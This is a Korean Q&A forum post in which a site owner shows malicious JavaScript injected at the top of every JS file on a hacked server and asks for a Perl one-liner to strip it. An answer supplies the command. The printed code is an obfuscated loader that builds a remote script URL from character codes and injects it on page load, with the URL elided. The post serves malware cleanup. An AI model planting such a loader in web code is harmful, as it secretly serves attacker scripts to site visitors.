파일에서 여러 줄 바꾸기(삭제)

파일에서 여러 줄 바꾸기(삭제)

내 서버 중 하나가 해킹당했고 모든 js 파일 시작 부분에 다음을 추가했습니다.

var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,...,106,115); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

정리해야 하는데 수천 개의 파일이 있기 때문에 수동으로 정리할 수 없습니다.

나는 작동하는 해결책을 찾으려고 노력하고 있었고 Perl에 대해 읽고 다음과 같이 썼습니다.

perl -pi -e 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,...,106,115\); s\.src=pl;\nif \(document\.currentScript\) \{\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else \{\nd\.getElementsByTagName\(\x27head\x27\)\[0\]\.appendChild\(s\);\n\}//' script.js

regex101을 시도했는데 정규식이 일치했는데 명령에서 오류가 발생하지 않았지만 아무것도 바뀌지 않았습니다...

답변1

perl문자를 일치시키려면 전체 파일을 "흡수"해야 하므로 \n다음 -0777옵션을 사용하십시오.

perl -i -0777pe 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,\.\.\.,106,115\); s\.src=pl;\nif \(document\.currentScript\) {\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\(\x27head\x27\)\[0]\.appendChild\(s\);\n}\n//' script.js

서버가 해킹당했지만 해결해야 할 문제가 더 있을 수 있습니다.

관련 정보